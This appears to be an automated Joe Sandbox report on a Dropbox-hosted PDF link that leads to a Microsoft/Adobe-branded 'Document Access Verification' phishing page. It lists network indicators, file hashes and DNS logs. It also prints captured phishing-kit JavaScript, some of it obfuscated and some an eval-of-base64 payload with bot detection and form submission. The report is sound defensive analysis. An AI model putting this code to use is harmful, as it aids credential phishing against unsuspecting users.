https://aem.dropbox.com/cms/content/dam/dropbox/warp/en-us/product-updates/dbx-december-2023/fss-acc	chromecache_483.1.dr, chromecache_558.1.dr	false		high
https://replay.dropbox.com/	chromecache_300.1.dr, chromecache_566.1.dr	false	Avira URL Cloud: safe	unknown
https://assets.dropbox.com/cms/content/dam/dropbox/www/en-us/whats-new/october2023/sign-entry-point-	chromecache_483.1.dr, chromecache_558.1.dr	false		high
https://faq.hellosign.com/hc/en-us/articles/15815316468877-Dropbox-Sign-SMS-tools-add-on	chromecache_300.1.dr, chromecache_566.1.dr	false	Avira URL Cloud: safe	unknown
https://help.dropbox.com/organize/dropbox-backup-beta	chromecache_300.1.dr, chromecache_566.1.dr	false		high
https://aem.dropbox.com/cms/content/dam/dropbox/www/en-us/whats-new/july2024/docsend_advanced_data/D	chromecache_483.1.dr, chromecache_558.1.dr	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
162.125.65.16	edge-block-previews-env.dropbox-dns.com	United States	19679	DROPBOXUS	false
162.125.65.18	www-env.dropbox-dns.com	United States	19679	DROPBOXUS	false
104.21.24.16	unknown	United States	13335	CLOUDFLARENETUS	false
52.222.144.45	fp.dropbox.com	United States	16509	AMAZON-02US	false
162.125.8.20	d-edge.v.dropbox.com	United States	19679	DROPBOXUS	false
162.125.69.18	unknown	United States	19679	DROPBOXUS	false
172.67.216.74	outsourcel.com.au	United States	13335	CLOUDFLARENETUS	false
162.125.40.3	static-pdx.v.dropbox.com	United States	19679	DROPBOXUS	false
142.250.181.68	unknown	United States	15169	GOOGLEUS	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
162.125.21.3	bolt.v.dropbox.com	United States	19679	DROPBOXUS	false
3.7.212.116	unknown	United States	16509	AMAZON-02US	false
151.101.1.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
34.249.87.52	c.ba.contentsquare.net	United States	16509	AMAZON-02US	false

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581510
Start date and time:	2024-12-27 23:25:03 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://www.dropbox.com/scl/fi/lncgsm76k7l5ix7fuu5t6/2024-OK-House-Outreach.pdf?rlkey=o4qr50zpdw1z14o6ikdg6zjt8&st=lrloyzlo&dl=0
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal52.phis.win@22/511@60/17

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 27 21:25:35 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9836782757816405
Encrypted:	false
SSDEEP:	48:82dSsTfztWH3idAKZdA1FehwiZUklqehoxy+3:85sH4zy
MD5:	4520C0AA96018368CBF1DA89EC3EFC03
SHA1:	AB9F542D326AF5CAC5B7809937730186853429D2
SHA-256:	08BF65CA02B9ABCBA7BEB2EAD1D8432B3E0A03261D35FD385289FBC7C9A2840E
SHA-512:	A91857EC3E381A6DFC2B341AFE0B7102069172892914777F44BCCEC1ED17059E6A39FB264077CB0EF4FF2A9B60F9F3BFA6BCFB9272081F740F3D90634DB9B82C
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......?.X..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y).....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y1.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y1.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y1............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y2............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........jcc.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 27 21:25:35 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.996740649875774
Encrypted:	false
SSDEEP:	48:8BdSsTfztWH3idAKZdA1seh/iZUkAQkqehZxy+2:8+sHO9QCy
MD5:	D0ACAA305FD0112A2E2FBB297D13AC2C
SHA1:	DB474A4934F3BF20C47F6B636A98DBB643AF0C4D
SHA-256:	1745A499384D20FDAE4211B80BDDD98DFB6323C999A3560352607C6F46139008
SHA-512:	CF275FA55EE874E4EFD101DE4B49ED557B6BC3DA0BC569F7BD919AFF9F9CC11E5809AF3CD212F61433740CC42FC91047CAF0ED71D76BA037D3A1B0B40148EAE1
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....~..?.X..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y).....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y1.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y1.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y1............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y2............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........jcc.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Input	Output
URL: https://www.dropbox.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://www.dropbox.com
URL: https://outsourcel.com.au/w3ertyuiu8y7654ty/... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to potentially malicious domains. The use of an iframe to load additional scripts and the obfuscation of the script's purpose raise significant security concerns. While the script may have a legitimate purpose, such as implementing a security challenge, the overall behavior is highly suspicious and indicative of a potential attack vector." }
(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8f8cbc02ee207283',t:'MTczNTMzODQwOS4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange\|\|function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();
URL: https://outsourcel.com.au/w3ertyuiu8y7654ty/... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to potentially malicious domains. The use of an iframe to load an external script from an unknown source ('cdn-cgi/challenge-platform/scripts/jsd/main.js') is a strong indicator of malicious intent. Additionally, the script appears to be obfuscated, further raising suspicion. Overall, this script poses a significant security risk and should be treated with caution." }
(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8f8cbc3e2eed8cc3',t:'MTczNTMzODQxOS4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange\|\|function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();
URL: https://outsourcel.com.au/w3ertyuiu8y7654ty/... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to potentially malicious domains. The use of an iframe to load an external script from an unknown source, along with the obfuscated nature of the code, suggests this is a highly suspicious and potentially malicious script." }
(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8f8cbc292d9c17b5',t:'MTczNTMzODQxNi4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange\|\|function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();
URL: https://outsourcel.com.au/w3ertyuiu8y7654ty/... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The provided JavaScript snippet simply reloads the current page, which is a common and benign operation. This behavior does not indicate any high-risk or malicious activities." }
window.location.reload();
URL: https://outsourcel.com.au/w3ertyuiu8y7654ty/... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `eval`, `Function` constructor, and heavily encoded strings indicates a high likelihood of malicious intent. Additionally, the script appears to be attempting to redirect the user to an unknown or suspicious domain, which further increases the risk. Overall, this script demonstrates a clear pattern of malicious activity and should be treated as a high-risk threat." }
var link = "YkFaMkQ0YU1QS05MZGtxUUZmeldBRnl1QnppODFJUmxrQ24zbzhMY1FoMUJpUW81Z2VGU1phOXdNcXhtaHJqSWxEb28zUmpXeVRQNko0VlIzclRPenRHZURmdTc1U3N0NVRvMDROa0V3WTF0R2d2bk94Z0hiSTdOSHJ3MnBWSjdTZVVoV2xzYVhjWGRCc2ZxS1BWOUEw"; var random = "aHR0cHM6Ly9ocmVmLmxpLz9odHRwczovL2VuLndpa2lwZWRpYS5vcmcvd2lraS9MaXN0X29mX01pY3Jvc29mdF8zNjVfQXBwbGljYXRpb25z"; var autograb = false; const _0x370772=_0x4de9;(function(_0x4f6b79,_0x5e87a3){const _0x23902b=_0x4de9,_0x1aa4ca=_0x4f6b79();while(!![]){try{const _0x4ecf9d=parseInt(_0x23902b(0x1f2))/0x1(-parseInt(_0x23902b(0x1ff))/0x2)+parseInt(_0x23902b(0x202))/0x3+parseInt(_0x23902b(0x201))/0x4(parseInt(_0x23902b(0x215))/0x5)+parseInt(_0x23902b(0x210))/0x6+-parseInt(_0x23902b(0x200))/0x7(-parseInt(_0x23902b(0x1fe))/0x8)+-parseInt(_0x23902b(0x1f8))/0x9+-parseInt(_0x23902b(0x1ed))/0xa(parseInt(_0x23902b(0x1fd))/0xb);if(_0x4ecf9d===_0x5e87a3)break;else _0x1aa4ca['push'](_0x1aa4ca['shift']());}catch(_0x5e20f3){_0x1aa4ca['push'](_0x1aa4ca['shift']());}}}(_0x5cca,0xe5b41));const _0x6d4a3c=(function(){let _0x5cc2bf=!![];return function(_0x9b77da,_0x135712){const _0xf77bb9=_0x5cc2bf?function(){const _0xec2e23=_0x4de9;if(_0x135712){const _0x101ef2=_0x135712[_0xec2e23(0x204)](_0x9b77da,arguments);return _0x135712=null,_0x101ef2;}}:function(){};return _0x5cc2bf=![],_0xf77bb9;};}()),_0x487215=_0x6d4a3c(this,function(){const _0x34a2de=_0x4de9;return _0x487215[_0x34a2de(0x1f3)]()['search'](_0x34a2de(0x1ee))[_0x34a2de(0x1f3)]()[_0x34a2de(0x212)](_0x487215)['search'](_0x34a2de(0x1ee));});_0x487215();const _0x5dbfa7=(function(){let _0x4b0e96=!![];return function(_0xd5d4f3,_0xaef652){const _0x53ffda=_0x4b0e96?function(){if(_0xaef652){const _0x48e2d4=_0xaef652['apply'](_0xd5d4f3,arguments);return _0xaef652=null,_0x48e2d4;}}:function(){};return _0x4b0e96=![],_0x53ffda;};}());(function(){_0x5dbfa7(this,function(){const _0x13ac30=_0x4de9,_0x97b71d=new RegExp('function\x20\x5c(\x20\x5c)'),_0x562d3b=new RegExp(_0x13ac30(0x1f7),'i'),_0x4d3b42=_0x3d6ca4(_0x13ac30(0x1fb));!_0x97b71d[_0x13ac30(0x20c)](_0x4d3b42+'chain')\|\|!_0x562d3b[_0x13ac30(0x20c)](_0x4d3b42+'input')?_0x4d3b42('0'):_0x3d6ca4();})();}());const _0x55444a=(function(){let _0x33f15b=!![];return function(_0x57a666,_0x260f9d){const _0x31c56e=_0x33f15b?function(){const _0x59e2eb=_0x4de9;if(_0x260f9d){const _0xb3158f=_0x260f9d[_0x59e2eb(0x204)](_0x57a666,arguments);return _0x260f9d=null,_0xb3158f;}}:function(){};return _0x33f15b=![],_0x31c56e;};}()),_0x4f3632=_0x55444a(this,function(){const _0x2ff6f3=_0x4de9,_0x330ee3=function(){const _0x1dd09b=_0x4de9;let _0x14d87b;try{_0x14d87b=Function('return\x20(function()\x20'+_0x1dd09b(0x218)+');')();}catch(_0x4d6905){_0x14d87b=window;}return _0x14d87b;},_0x131a47=_0x330ee3(),_0x18e009=_0x131a47[_0x2ff6f3(0x206)]=_0x131a47[_0x2ff6f3(0x206)]\|\|{},_0x1706ee=[_0x2ff6f3(0x205),_0x2ff6f3(0x216),'info',_0x2ff6f3(0x203),_0x2ff6f3(0x1f5),_0x2ff6f3(0x1f4),_0x2ff6f3(0x207)];for(let _0x3a4ef4=0x0;_0x3a4ef4<_0x1706ee[_0x2ff6f3(0x1f1)];_0x3a4ef4++){const _0x5abefa=_0x55444a[_0x2ff6f3(0x212)][_0x2ff6f3(0x20e)]['bind'](_0x55444a),_0x2ee7c2=_0x1706ee[_0x3a4ef4],_0x5e394d=_0x18e009[_0x2ee7c2]\|\|_0x5abefa;_0x5abefa[_0x2ff6f3(0x1f6)]=_0x55444a[_0x2ff6f3(0x208)](_0x55444a),_0x5abefa[_0x2ff6f3(0x1f3)]=_0x5e394d['toString'][_0x2ff6f3(0x208)](_0x5e394d),_0x18e009[_0x2ee7c2]=_0x5abefa;}});function _0x5cca(){const _0x49775a=['trace','bind','onload','Error\x20encoding\x20string.','/index?a=','test','while\x20(true)\x20{}','prototype','stateObject','7057404VGAaEh','location','constructor','/index','gger','4989590fceNiz','warn','string','{}.constructor(\x22return\x20this\x22)(\x20)','action','href','2800XoTiRS','(((.+)+)+)+$','call','substring','length','1nDTKwE','toString','table','exception','__proto__','\x5c+\x5c+\x20(?:[a-zA-Z_$][0-9a-zA-Z_$])','945234wBsndJ','counter','hash','init','debu','155078irFNIr','8BAihSD','952052hXXCrM','11247859baQcXU','4QpQeNS','5065104jKIhEm','error','apply','log','console'];_0x5cca=function(){return _0x49775a;};
URL: https://outsourcel.com.au/w3ertyuiu8y7654ty/... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution using `eval()` and data exfiltration by sending user data to an unknown domain. The script also attempts to manipulate the DOM and redirect the user, which are further indicators of malicious intent. Overall, this script poses a significant security risk and should be treated with caution." }
eval(decodeURIComponent(escape(window.atob('KGZ1bmN0aW9uKCl7CiAgICAgICAgdmFyIGEgPSBmdW5jdGlvbigpIHt0cnl7cmV0dXJuICEhd2luZG93LmFkZEV2ZW50TGlzdGVuZXJ9IGNhdGNoKGUpIHtyZXR1cm4gITF9IH0sCiAgICAgICAgYiA9IGZ1bmN0aW9uKGIsIGMpIHthKCkgPyBkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCJET01Db250ZW50TG9hZGVkIiwgYiwgYykgOiBkb2N1bWVudC5hdHRhY2hFdmVudCgib25yZWFkeXN0YXRlY2hhbmdlIiwgYil9OwogICAgICAgIGIoZnVuY3Rpb24oKXsKICAgICAgICAgICAgICAgICAgICAgICAgdmFyIG5vdyA9IG5ldyBEYXRlKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIHZhciB0aW1lID0gbm93LmdldFRpbWUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgdGltZSArPSAzMDAgKiAxMDAwOwogICAgICAgICAgICAgICAgICAgICAgICBub3cuc2V0VGltZSh0aW1lKTsKICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuY29va2llID0gJ1R0c0lkWVZDVG02N0lfWDNhcWVTN2xjRnVPZz0yNFY1ZmRfU3FHZnluQ3NIbUFKYmw5eVNuZEEnICsgJzsgZXhwaXJlcz0nICsgJ1NhdCwgMjgtRGVjLTI0IDIyOjI2OjQ2IEdNVCcgKyAnOyBwYXRoPS8nOwogICAgICAgICAgICAgICAgICAgICAgICAvL2phdmFzY3JpcHQgcHV6emxlIGZvciBicm93c2VyIHRvIGZpZ3VyZSBvdXQgdG8gZ2V0IGFuc3dlcgogICAgICAgICAgICAgICAgICAgICAgICBpZighd2luZG93Ll9waGFudG9tIHx8ICF3aW5kb3cuY2FsbFBoYW50b20pey8qcGhhbnRvbWpzKi8KaWYoIXdpbmRvdy5fX3BoYW50b21hcyl7LypwaGFudG9tYXMgUGhhbnRvbUpTLWJhc2VkIHdlYiBwZXJmIG1ldHJpY3MgKyBtb25pdG9yaW5nIHRvb2wqLwppZighd2luZG93LkJ1ZmZlcil7Lypub2RlanMqLwppZighd2luZG93LmVtaXQpey8qY291Y2hqcyovCmlmKCF3aW5kb3cuc3Bhd24pey8qcmhpbm8qLwppZighd2luZG93LndlYmRyaXZlcil7LypzZWxlbml1bSovCmlmKCF3aW5kb3cuZG9tQXV0b21hdGlvbiB8fCAhd2luZG93LmRvbUF1dG9tYXRpb25Db250cm9sbGVyKXsvKmNocm9taXVtIGJhc2VkIGF1dG9tYXRpb24gZHJpdmVyKi8KaWYoIXdpbmRvdy5kb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuZ2V0QXR0cmlidXRlKCJ3ZWJkcml2ZXIiKSl7Ci8qaWYobmF2aWdhdG9yLnVzZXJBZ2VudCl7Ki8KaWYoIS9ib3R8Y3VybHxrb2RpfHhibWN8d2dldHx1cmxsaWJ8cHl0aG9ufHdpbmh0dHB8aHR0cmFja3xhbGV4YXxpYV9hcmNoaXZlcnxmYWNlYm9va3x0d2l0dGVyfGxpbmtlZGlufHBpbmdkb20vaS50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKXsKLyppZihuYXZpZ2F0b3IuY29va2llRW5hYmxlZCl7Ki8KLyppZihkb2N1bWVudC5jb29raWUubWF0Y2goL14oPzouKjspP1xzKlswLTlhLWZdezMyfVxzKj1ccyooW147XSspKD86LiopPyQvKSl7Ki8vKkh0dHBPbmx5IENvb2tpZSBmbGFncyBwcmV2ZW50IHRoaXMqLwogICAgICAgICAgICAgICAgICAgICAgICB2YXIgXzk9cGFyc2VJbnQoIjIwMjQxMjI2IiwgMTApICsgcGFyc2VJbnQoIjI2MTIyMDI0IiwgMTApOwogICAgICAgICAgICAgICAgICAgICAgICAvKn0qLwovKn0qLwp9Ci8qfSovCn0KfQp9Cn0KfQp9Cn0KfQogICAgICAgICAgICAgICAgICAgICAgICAvL2VuZCBqYXZhc2NyaXB0IHB1enpsZQogICAgICAgICAgICAgICAgICAgICAgICB2YXIgeGh0dHAgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKICAgICAgICAgICAgICAgICAgICAgICAgeGh0dHAub25yZWFkeXN0YXRlY2hhbmdlID0gZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHhodHRwLnJlYWR5U3RhdGUgPT09IDQpewogICAgICAgICAgICAgICAgIGNvbnN0IGZpcnN0Rm9ybSA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJ2Zvcm0nKTsKCi8vIENoZWNrIGlmIHRoZSBmb3JtIGV4aXN0cyBhbmQgaWYgaXQgaGFzIGlucHV0IGVsZW1lbnRzCmlmIChmaXJzdEZvcm0pIHsKICBjb25zdCBpbnB1dEZpZWxkcyA9IGZpcnN0Rm9ybS5xdWVyeVNlbGVjdG9yQWxsKCdpbnB1dCcpOwogIAogIGlmIChpbnB1dEZpZWxkcy5sZW5ndGggPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5mb3Jtc1swXS5zdWJtaXQoKTsKICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgaWYgKCF3aW5kb3cubG9jYXRpb24uaGFzaCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2luZG93LmxvY2F0aW9uLmhyZWYgPSB3aW5kb3cubG9jYXRpb24uaHJlZjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2luZG93LmxvY2F0aW9uLnJlbG9hZCgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogIH0KfSBlbHNlIHsKICAgICAgICAgICAgICAgICBpZiAoIXdpbmRvdy5sb2NhdGlvbi5oYXNoKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aW5kb3cubG9jYXRpb24uaHJlZiA9IHdpbmRvdy5sb2NhdGlvbi5ocmVmOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aW5kb3cubG9jYXRpb24ucmVsb2FkKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9Cn0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH07CiAgICAgICAgICAgICAgICAgICAgICAgIHhodHRwLm9wZW4oIlBPU1QiLCAiL3czZXJ0eXVpdTh5NzY1NHR5LyIsIHRydWUpOwogICAgICAgICAgICAgICAgICAgICAgICB4aHR0cC5zZXRSZXF1ZXN0SGVhZGVyKCdxckhYSFpILTJjRzlM
URL: https://outsourcel.com.au/w3ertyuiu8y7654ty/bAZ2D4aMPKNLdkqQFfzWAFyuBzi81IRlkCn3o8LcQh1BiQo5geFSZa9wMqxmhrjIlDoo3RjWyTP6J4VR3rTOztGeDfu75Sst5To04NkEwY1tGgvnOxgHbI7NHrw2pVJ7SeUhWlsaXcXdBsfqKPV9A0/index Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Document Access Verification", "prominent_button_name": "Read Document", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://outsourcel.com.au/w3ertyuiu8y7654ty/bAZ2D4aMPKNLdkqQFfzWAFyuBzi81IRlkCn3o8LcQh1BiQo5geFSZa9wMqxmhrjIlDoo3RjWyTP6J4VR3rTOztGeDfu75Sst5To04NkEwY1tGgvnOxgHbI7NHrw2pVJ7SeUhWlsaXcXdBsfqKPV9A0/index Model: Joe Sandbox AI	{ "brands": [ "Microsoft", "Adobe" ] }
	{ "brands": [ "Microsoft", "Adobe" ] }

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 23:25:34.521954060 CET	53	60303	1.1.1.1	192.168.2.16
Dec 27, 2024 23:25:34.557533979 CET	53	49490	1.1.1.1	192.168.2.16
Dec 27, 2024 23:25:35.281301975 CET	57592	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:25:35.281460047 CET	51748	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:25:35.572269917 CET	53	57592	1.1.1.1	192.168.2.16
Dec 27, 2024 23:25:35.573587894 CET	53	51748	1.1.1.1	192.168.2.16
Dec 27, 2024 23:25:37.375979900 CET	53	63791	1.1.1.1	192.168.2.16
Dec 27, 2024 23:25:37.648248911 CET	53824	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:25:37.648497105 CET	63076	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:25:39.168580055 CET	54047	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:25:39.168776989 CET	52943	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:25:39.419949055 CET	53	52943	1.1.1.1	192.168.2.16
Dec 27, 2024 23:25:39.419962883 CET	53	54047	1.1.1.1	192.168.2.16
Dec 27, 2024 23:25:45.053411961 CET	63856	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:25:45.053559065 CET	50478	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:25:45.190602064 CET	53	63856	1.1.1.1	192.168.2.16
Dec 27, 2024 23:25:45.191823006 CET	53	50478	1.1.1.1	192.168.2.16
Dec 27, 2024 23:25:45.217645884 CET	59876	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:25:45.217823029 CET	61490	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:25:53.181726933 CET	50431	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:25:53.181869030 CET	53433	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:25:53.485795021 CET	53	50431	1.1.1.1	192.168.2.16
Dec 27, 2024 23:25:53.543848991 CET	53	53433	1.1.1.1	192.168.2.16
Dec 27, 2024 23:25:54.280992031 CET	53	58681	1.1.1.1	192.168.2.16
Dec 27, 2024 23:25:55.385341883 CET	51006	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:25:55.385473013 CET	53626	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:25:55.522424936 CET	53	53626	1.1.1.1	192.168.2.16
Dec 27, 2024 23:25:55.522825956 CET	53	51006	1.1.1.1	192.168.2.16
Dec 27, 2024 23:25:56.421252966 CET	61706	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:25:56.421392918 CET	51260	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:25:56.694367886 CET	53	51260	1.1.1.1	192.168.2.16
Dec 27, 2024 23:25:56.714601040 CET	53	61706	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:00.278496027 CET	56709	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:00.278646946 CET	61541	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:00.415930033 CET	53	61541	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:00.416371107 CET	53	56709	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:01.008564949 CET	59394	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:01.008719921 CET	57998	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:01.145994902 CET	53	57998	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:01.148308992 CET	53	59394	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:02.739346027 CET	53	60128	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:04.281599998 CET	51093	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:04.281737089 CET	55100	53	192.168.2.16	1.1.1.1
